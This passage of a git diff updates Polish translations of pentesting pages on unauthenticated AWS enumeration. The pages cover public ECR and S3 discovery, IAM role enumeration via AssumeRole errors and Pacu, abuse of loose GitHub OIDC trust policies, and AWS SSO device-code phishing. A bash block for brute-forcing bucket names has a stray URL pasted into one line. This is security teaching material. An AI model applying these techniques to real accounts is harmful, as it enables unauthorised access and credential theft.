 ec2-{ip-seperated}.compute-1.amazonaws.com
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
index 78986402b..540f60703 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
 
 ### Public registry repositories (images)
 
-Jak wspomniano w sekcji ECS Enum, publiczny rejestr jest **dostępny dla każdego** i używa formatu **`public.ecr.aws/<random>/<name>`**. Jeśli atakujący znajdzie URL publicznego repozytorium, może **pobrać obraz i przeszukać w nim wrażliwe informacje** w metadanych i treści obrazu.
+Jak wspomniano w sekcji ECS Enum, publiczny rejestr jest **dostępny dla każdego** i używa formatu **`public.ecr.aws/<random>/<name>`**. Jeśli URL publicznego repozytorium zostanie znaleziony przez atakującego, może on **pobrać obraz i przeszukać wrażliwe informacje** w metadanych i treści obrazu.
 ```bash
 aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
index ecc2013d5..30570a1f2 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
@@ -10,25 +10,25 @@ Aby uzyskać więcej informacji, sprawdź:
 ../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### Wrażliwość w sieci
+### Web vulnerability
 
 Zauważ, że domyślnie środowiska Beanstalk mają **Metadatav1 wyłączone**.
 
 Format stron internetowych Beanstalk to **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
 
-### Niezabezpieczone zasady grupy zabezpieczeń
+### Insecure Security Group Rules
 
-Źle skonfigurowane zasady grupy zabezpieczeń mogą narażać instancje Elastic Beanstalk na dostęp publiczny. **Zbyt liberalne zasady przychodzące, takie jak zezwolenie na ruch z dowolnego adresu IP (0.0.0.0/0) na wrażliwych portach, mogą umożliwić atakującym dostęp do instancji**.
+Źle skonfigurowane zasady grupy zabezpieczeń mogą narażać instancje Elastic Beanstalk na publiczny dostęp. **Zbyt liberalne zasady przychodzące, takie jak zezwolenie na ruch z dowolnego adresu IP (0.0.0.0/0) na wrażliwych portach, mogą umożliwić atakującym dostęp do instancji**.
 
-### Publicznie dostępny load balancer
+### Publicly Accessible Load Balancer
 
 Jeśli środowisko Elastic Beanstalk korzysta z load balancera, a load balancer jest skonfigurowany jako publicznie dostępny, atakujący mogą **wysyłać żądania bezpośrednio do load balancera**. Chociaż może to nie stanowić problemu dla aplikacji internetowych, które mają być publicznie dostępne, może to być problem dla aplikacji lub środowisk prywatnych.
 
-### Publicznie dostępne kosze S3
+### Publicly Accessible S3 Buckets
 
-Aplikacje Elastic Beanstalk są często przechowywane w koszach S3 przed wdrożeniem. Jeśli kosz S3 zawierający aplikację jest publicznie dostępny, atakujący mogą **pobrać kod aplikacji i szukać w nim luk lub wrażliwych informacji**.
+Aplikacje Elastic Beanstalk są często przechowywane w kubełkach S3 przed wdrożeniem. Jeśli kubełek S3 zawierający aplikację jest publicznie dostępny, atakujący mogą **pobrać kod aplikacji i szukać luk lub wrażliwych informacji**.
 
-### Enumeracja publicznych środowisk
+### Enumerate Public Environments
 ```bash
 aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
index 6ef5bba80..dbf32007a 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Szablon publicznego URL-a
+### Szablon publicznego URL
 ```
 https://vpc-{user_provided}-[random].[region].es.amazonaws.com
 https://search-{user_provided}-[random].[region].es.amazonaws.com
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
index 16fea5400..6c24a1017 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
@@ -4,22 +4,22 @@
 
 ## Enumerowanie ról i nazw użytkowników w koncie
 
-### ~~Brute-Force za pomocą Assume Role~~
+### ~~Brute-Force przy założeniu roli~~
 
 > [!CAUTION]
-> **Ta technika już nie działa** ponieważ, niezależnie od tego, czy rola istnieje, czy nie, zawsze otrzymujesz ten błąd:
+> **Ta technika już nie działa** ponieważ niezależnie od tego, czy rola istnieje, czy nie, zawsze otrzymujesz ten błąd:
 >
-> `Wystąpił błąd (AccessDenied) podczas wywoływania operacji AssumeRole: Użytkownik: arn:aws:iam::947247140022:user/testenv nie ma uprawnień do wykonania: sts:AssumeRole na zasobie: arn:aws:iam::429217632764:role/account-balanceasdas`
+> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
 >
 > Możesz **przetestować to uruchamiając**:
 >
 > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
 
-Próba **przyjęcia roli bez niezbędnych uprawnień** wywołuje komunikat o błędzie AWS. Na przykład, jeśli brak uprawnień, AWS może zwrócić:
+Próba **założenia roli bez niezbędnych uprawnień** wywołuje komunikat o błędzie AWS. Na przykład, jeśli brak uprawnień, AWS może zwrócić:
 ```ruby
 An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
 ```
-Ta wiadomość potwierdza istnienie roli, ale wskazuje, że jej polityka przyjmowania ról nie pozwala na twoje przyjęcie. W przeciwieństwie do tego, próba **przyjęcia nieistniejącej roli prowadzi do innego błędu**:
+Ta wiadomość potwierdza istnienie roli, ale wskazuje, że jej polityka przyjmowania ról nie zezwala na twoje przyjęcie. W przeciwieństwie do tego, próba **przyjęcia nieistniejącej roli prowadzi do innego błędu**:
 ```less
 An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
 ```
@@ -54,7 +54,7 @@ To jest przykład polityki:
 ```
 #### GUI
 
-To jest **błąd**, który znajdziesz, jeśli używasz **roli, która nie istnieje**. Jeśli rola **istnieje**, polityka zostanie **zapisana** bez żadnych błędów. (Błąd dotyczy aktualizacji, ale działa również podczas tworzenia)
+To jest **błąd**, który znajdziesz, jeśli użyjesz **roli, która nie istnieje**. Jeśli rola **istnieje**, polityka zostanie **zapisana** bez żadnych błędów. (Błąd dotyczy aktualizacji, ale działa również podczas tworzenia)
 
 ![](<../../../images/image (153).png>)
 
@@ -99,7 +99,7 @@ Używając [Pacu](https://github.com/RhinoSecurityLabs/pacu):
 
 - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
 - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-- Rola `admin` użyta w przykładzie to **rola w twoim koncie, która ma być udawana** przez pacu, aby stworzyć polityki, które są potrzebne do enumeracji
+- Rola `admin` użyta w przykładzie to **rola w twoim koncie, która ma być naśladowana** przez pacu w celu utworzenia potrzebnych polityk do enumeracji
 
 ### Privesc
 
@@ -122,7 +122,7 @@ Napastnik mógłby po prostu to założyć.
 
 ## Federacja OIDC osób trzecich
 
-Wyobraź sobie, że udało ci się przeczytać **Github Actions workflow**, który uzyskuje dostęp do **roli** w **AWS**.\
+Wyobraź sobie, że udało ci się odczytać **Github Actions workflow**, który uzyskuje dostęp do **roli** w **AWS**.\
 To zaufanie może dać dostęp do roli z następującą **polityką zaufania**:
 ```json
 {
@@ -143,8 +143,8 @@ To zaufanie może dać dostęp do roli z następującą **polityką zaufania**:
 ]
 }
 ```
-Ta polityka zaufania może być poprawna, ale **brak dodatkowych warunków** powinien budzić twoje wątpliwości.\
-Dzieje się tak, ponieważ poprzednią rolę może przejąć **KTOKOLWIEK z Github Actions**! Powinieneś również określić w warunkach inne rzeczy, takie jak nazwa organizacji, nazwa repozytorium, środowisko, gałąź...
+Polityka zaufania może być poprawna, ale **brak dodatkowych warunków** powinien budzić twoje wątpliwości.\
+Dzieje się tak, ponieważ poprzednią rolę może przyjąć **KTOKOLWIEK z Github Actions**! Powinieneś również określić w warunkach inne rzeczy, takie jak nazwa organizacji, nazwa repozytorium, środowisko, gałąź...
 
 Inną potencjalną błędną konfiguracją jest **dodanie warunku** takiego jak poniżej:
 ```json
@@ -152,7 +152,7 @@ Inną potencjalną błędną konfiguracją jest **dodanie warunku** takiego jak
 "token.actions.githubusercontent.com:sub": "repo:org_name*:*"
 }
 ```
-Zauważ, że **wildcard** (\*) przed **dwukropkiem** (:). Możesz stworzyć organizację taką jak **org_name1** i **przyjąć rolę** z akcji Github.
+Zauważ, że **wildcard** (\*) przed **dwukropkiem** (:). Możesz stworzyć organizację, taką jak **org_name1** i **przyjąć rolę** z Github Action.
 
 ## References
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
index e95115023..6afc909a5 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
@@ -11,7 +11,7 @@ Aby przeprowadzić ten atak, wymagania są następujące:
 - Ofiara musi korzystać z **Identity Center**
 - Atakujący musi znać **subdomenę** używaną przez ofiarę `<victimsub>.awsapps.com/start`
 
-Mając tylko powyższe informacje, **atakujący będzie mógł wysłać link do użytkownika**, który, jeśli **zostanie zaakceptowany**, przyzna **atakującemu dostęp do konta użytkownika AWS**.
+Mając powyższe informacje, **atakujący będzie mógł wysłać link do użytkownika**, który, jeśli **zostanie zaakceptowany**, przyzna **atakującemu dostęp do konta użytkownika AWS**.
 
 ### Atak
 
@@ -102,18 +102,18 @@ accountId=<account_id>
 )
 sts_creds.get('roleCredentials')
 ```
-### Phishing the unphisable MFA
+### Phishing dla "niephishable" MFA
 
-Ciekawe jest to, że poprzedni atak **działa nawet jeśli używane jest "unphisable MFA" (webAuth)**. Dzieje się tak, ponieważ poprzedni **workflow nigdy nie opuszcza używanej domeny OAuth**. W przeciwieństwie do innych ataków phishingowych, gdzie użytkownik musi zastąpić domenę logowania, w przypadku, gdy workflow kodu urządzenia jest przygotowane, **kod jest znany przez urządzenie** i użytkownik może zalogować się nawet na innym urządzeniu. Jeśli zaakceptuje monit, urządzenie, po **znaniu początkowego kodu**, będzie w stanie **odzyskać dane uwierzytelniające** dla użytkownika.
+Fajnie jest wiedzieć, że poprzedni atak **działa nawet jeśli używane jest "niephishable MFA" (webAuth)**. Dzieje się tak, ponieważ poprzedni **workflow nigdy nie opuszcza używanej domeny OAuth**. W przeciwieństwie do innych ataków phishingowych, gdzie użytkownik musi zastąpić domenę logowania, w przypadku workflow kodu urządzenia przygotowano tak, że **kod jest znany przez urządzenie** i użytkownik może się zalogować nawet na innym komputerze. Jeśli zaakceptuje monit, urządzenie, po **znaniu początkowego kodu**, będzie w stanie **odzyskać dane uwierzytelniające** dla użytkownika.
 
 Aby uzyskać więcej informacji, [**sprawdź ten post**](https://mjg59.dreamwidth.org/62175.html).
 
-### Automatic Tools
+### Narzędzia automatyczne
 
 - [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
 - [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
 
-## References
+## Odniesienia
 
 - [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
 - [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
index e4eb52157..5cbee237d 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Szablon publicznego URL-a
+### Szablon publicznego URL
 ```
 mqtt://{random_id}.iot.{region}.amazonaws.com:8883
 https://{random_id}.iot.{region}.amazonaws.com:8443
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
index 5437a43a7..b589ad726 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Szablon publicznego URL
+### Szablon publicznego URL-a
 ```
 https://{random_id}.kinesisvideo.{region}.amazonaws.com
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
index afb1a9955..ee41ecc04 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
@@ -12,9 +12,9 @@ https://{random_id}.lambda-url.{region}.on.aws/
 ```
 ### Uzyskaj identyfikator konta z publicznego adresu URL Lambda
 
-Podobnie jak w przypadku koszy S3, Data Exchange i bramek API, możliwe jest znalezienie identyfikatora konta, wykorzystując **`aws:ResourceAccount`** **Policy Condition Key** z publicznego adresu URL lambda. Robi się to, znajdując identyfikator konta jeden znak na raz, wykorzystując znaki wieloznaczne w sekcji **`aws:ResourceAccount`** polityki.\
+Podobnie jak w przypadku koszyków S3, Data Exchange i bramek API, możliwe jest znalezienie identyfikatora konta, wykorzystując **`aws:ResourceAccount`** **Policy Condition Key** z publicznego adresu URL lambda. Robi się to, znajdując identyfikator konta jeden znak na raz, wykorzystując znaki wieloznaczne w sekcji **`aws:ResourceAccount`** polityki.\
 Ta technika pozwala również uzyskać **wartości tagów**, jeśli znasz klucz tagu (istnieją domyślne interesujące).
 
-Możesz znaleźć więcej informacji w [**oryginalnych badaniach**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) oraz w narzędziu [**conditional-love**](https://github.com/plerionhq/conditional-love/), aby zautomatyzować tę eksploitację.
+Możesz znaleźć więcej informacji w [**oryginalnych badaniach**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) oraz narzędziu [**conditional-love**](https://github.com/plerionhq/conditional-love/), aby zautomatyzować tę eksploitację.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
index 7a7e22791..72f341157 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
@@ -6,11 +6,11 @@
 
 ### **RabbitMQ**
 
-W przypadku **RabbitMQ**, domyślnie publiczny dostęp i ssl są włączone. Ale potrzebujesz **poświadczeń**, aby uzyskać dostęp (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Ponadto, możliwe jest **uzyskanie dostępu do konsoli zarządzania w sieci**, jeśli znasz poświadczenia w `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
+W przypadku **RabbitMQ**, domyślnie publiczny dostęp i ssl są włączone. Jednak potrzebujesz **poświadczeń** do uzyskania dostępu (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Co więcej, możliwe jest **uzyskanie dostępu do konsoli zarządzania w sieci**, jeśli znasz poświadczenia w `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
 
 ### ActiveMQ
 
-W przypadku **ActiveMQ**, domyślnie publiczny dostęp i ssl są włączone, ale potrzebujesz poświadczeń, aby uzyskać dostęp.
+W przypadku **ActiveMQ**, domyślnie publiczny dostęp i ssl są włączone, ale potrzebujesz poświadczeń do uzyskania dostępu.
 
 ### Public URL template
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
index 650b9bf33..090b7d5b2 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
@@ -4,9 +4,9 @@
 
 ### Public Port
 
-Możliwe jest **ujawnienie brokera Kafka publicznie**, ale będziesz potrzebować **poświadczeń**, uprawnień IAM lub ważnego certyfikatu (w zależności od skonfigurowanej metody uwierzytelniania).
+Możliwe jest **udostępnienie brokera Kafka publicznie**, ale będziesz potrzebować **poświadczeń**, uprawnień IAM lub ważnego certyfikatu (w zależności od skonfigurowanej metody uwierzytelniania).
 
-Możliwe jest również **wyłączenie uwierzytelniania**, ale w takim przypadku **nie można bezpośrednio ujawnić** portu w Internecie.
+Możliwe jest również **wyłączenie uwierzytelniania**, ale w takim przypadku **nie można bezpośrednio udostępnić** portu w Internecie.
 
 ### Public URL template
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
index 4126de5d8..b7e690cda 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
 
 ## Public Port
 
-Możliwe jest udostępnienie publicznego dostępu do **bazy danych z internetu**. Atakujący nadal musi **znać nazwę użytkownika i hasło,** dostęp IAM lub **eksploit,** aby uzyskać dostęp do bazy danych.
+Możliwe jest udostępnienie publicznego dostępu do **bazy danych z internetu**. Atakujący nadal musi **znać nazwę użytkownika i hasło,** dostęp IAM lub **eksploit,** aby wejść do bazy danych.
 
 ## Public RDS Snapshots
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
index 0f9fcb214..22cea0004 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Szablon publicznego URL-a
+### Szablon publicznego URL
 ```
 {user_provided}.<random>.<region>.redshift.amazonaws.com
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
index 6a8c46218..6df8ee317 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
@@ -2,19 +2,19 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## S3 Public Buckets
+## Publiczne Buckety S3
 
-Bucket jest uważany za **“publiczny”**, jeśli **każdy użytkownik może wylistować zawartość** bucketa, a za **“prywatny”**, jeśli zawartość bucketa może być **wylistowana lub zapisana tylko przez określonych użytkowników**.
+Bucket jest uważany za **„publiczny”**, jeśli **każdy użytkownik może wylistować zawartość** bucketa, a za **„prywatny”**, jeśli zawartość bucketa może być **wylistowana lub zapisana tylko przez określonych użytkowników**.
 
-Firmy mogą mieć **błędy w konfiguracji uprawnień bucketów**, co daje dostęp albo do wszystkiego, albo do wszystkich uwierzytelnionych w AWS w dowolnym koncie (czyli do każdego). Należy zauważyć, że nawet przy takich błędach niektóre działania mogą nie być możliwe do wykonania, ponieważ buckety mogą mieć własne listy kontroli dostępu (ACL).
+Firmy mogą mieć **błędnie skonfigurowane uprawnienia bucketów**, co daje dostęp albo do wszystkiego, albo do wszystkich uwierzytelnionych w AWS w dowolnym koncie (czyli do każdego). Należy pamiętać, że nawet przy takich błędnych konfiguracjach niektóre działania mogą nie być możliwe do wykonania, ponieważ buckety mogą mieć własne listy kontroli dostępu (ACL).
 
 **Dowiedz się o błędach konfiguracji AWS-S3 tutaj:** [**http://flaws.cloud**](http://flaws.cloud/) **i** [**http://flaws2.cloud/**](http://flaws2.cloud)
 
-### Finding AWS Buckets
+### Znajdowanie Bucketów AWS
 
 Różne metody, aby znaleźć, kiedy strona internetowa korzysta z AWS do przechowywania niektórych zasobów:
 
-#### Enumeration & OSINT:
+#### Enumeracja i OSINT:
 
 - Używając wtyczki przeglądarki **wappalyzer**
 - Używając burp (**spidering** sieci) lub ręcznie nawigując po stronie, wszystkie **zasoby** **załadowane** będą zapisane w Historii.
@@ -28,12 +28,12 @@ http://[bucket_name].s3.amazonaws.com/
 - Sprawdź **CNAMES**, ponieważ `resources.domain.com` może mieć CNAME `bucket.s3.amazonaws.com`
 - Sprawdź [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), stronę z już **odkrytymi otwartymi bucketami**.
 - **Nazwa bucketa** i **nazwa domeny bucketa** muszą być **takie same.**
-- **flaws.cloud** jest w **IP** 52.92.181.107, a jeśli tam pójdziesz, przekierowuje cię do [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Również `dig -x 52.92.181.107` daje `s3-website-us-west-2.amazonaws.com`.
+- **flaws.cloud** jest w **IP** 52.92.181.107 i jeśli tam pójdziesz, przekierowuje cię do [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Również `dig -x 52.92.181.107` daje `s3-website-us-west-2.amazonaws.com`.
 - Aby sprawdzić, czy to jest bucket, możesz również **odwiedzić** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
 
 #### Brute-Force
 
-Możesz znaleźć buckety, **brute-forcing nazwy** związane z firmą, którą testujesz:
+Możesz znaleźć buckety, **brute-forcing** nazwy związane z firmą, którą testujesz:
 
 - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
 - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
@@ -45,47 +45,47 @@ Możesz znaleźć buckety, **brute-forcing nazwy** związane z firmą, którą t
 - [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
 - [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
 
-<pre class="language-bash"><code class="lang-bash"># Generate a wordlist to create permutations
+<pre class="language-bash"><code class="lang-bash"># Generuj listę słów do tworzenia permutacji
 curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
 curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
 cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
 
-# Generate a wordlist based on the domains and subdomains to test
-## Write those domains and subdomains in subdomains.txt
+# Generuj listę słów na podstawie domen i subdomen do testowania
+## Zapisz te domeny i subdomeny w subdomains.txt
 cat subdomains.txt > /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
 
-# Create permutations based in a list with the domains and subdomains to attack
+# Twórz permutacje na podstawie listy z domenami i subdomenami do ataku
 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## The previous tool is specialized increating permutations for subdomains, lets filter that list
-<strong>### Remove lines ending with "."
+## Poprzednie narzędzie jest specjalizowane w tworzeniu permutacji dla subdomen, przefiltrujmy tę listę
+<strong>### Usuń linie kończące się na "."
 </strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Create list without TLD
+### Stwórz listę bez TLD
 cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Create list without dots
+### Stwórz listę bez kropek
 cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Create list without hyphens
+### Stwórz listę bez myślników
 cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
 
-## Generate the final wordlist
+## Generuj ostateczną listę słów
 cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
 
-## Call s3scanner
+## Wywołaj s3scanner
 s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
 </code></pre>
 
-#### Loot S3 Buckets
+#### Zasoby z Bucketów S3
 
-Dla otwartych bucketów S3, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) może automatycznie **szukać interesujących informacji**.
+Dzięki otwartym bucketom S3, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) może automatycznie **szukać interesujących informacji**.
 
-### Find the Region
+### Znajdź Region
 
 Możesz znaleźć wszystkie obsługiwane regiony przez AWS w [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
 
-#### By DNS
+#### Przez DNS
 
-Możesz uzyskać region bucketa za pomocą **`dig`** i **`nslookup`**, wykonując **żądanie DNS odkrytego IP**:
+Możesz uzyskać region bucketa za pomocą **`dig`** i **`nslookup`**, wykonując **zapytanie DNS o odkryty IP**:
 ```bash
 dig flaws.cloud
 ;; ANSWER SECTION:
@@ -127,7 +127,7 @@ aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --r
 ```
 Jeśli koszyk nie ma nazwy domeny, próbując go enumerować, **wprowadź tylko nazwę koszyka** i nie całą domenę AWSs3. Przykład: `s3://<BUCKETNAME>`
 
-### Szablon publicznego URL-a
+### Szablon publicznego URL
 ```
 https://{user_provided}.s3.amazonaws.com
 ```
@@ -148,9 +148,9 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/
 ```
 Ta technika działa również z adresami URL API Gateway, adresami URL Lambda, zestawami danych Data Exchange, a nawet do uzyskania wartości tagów (jeśli znasz klucz tagu). Więcej informacji można znaleźć w [**oryginalnych badaniach**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) oraz w narzędziu [**conditional-love**](https://github.com/plerionhq/conditional-love/), aby zautomatyzować tę eksploitację.
 
-### Potwierdzanie, że koszyk należy do konta AWS
+### Potwierdzenie, że koszyk należy do konta AWS
 
-Jak wyjaśniono w [**tym wpisie na blogu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, jeśli masz uprawnienia do wylistowania koszyka** możliwe jest potwierdzenie accountID, do którego należy koszyk, wysyłając żądanie takie jak:
+Jak wyjaśniono w [**tym poście na blogu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, jeśli masz uprawnienia do wylistowania koszyka** możliwe jest potwierdzenie accountID, do którego należy koszyk, wysyłając żądanie takie jak:
 ```bash
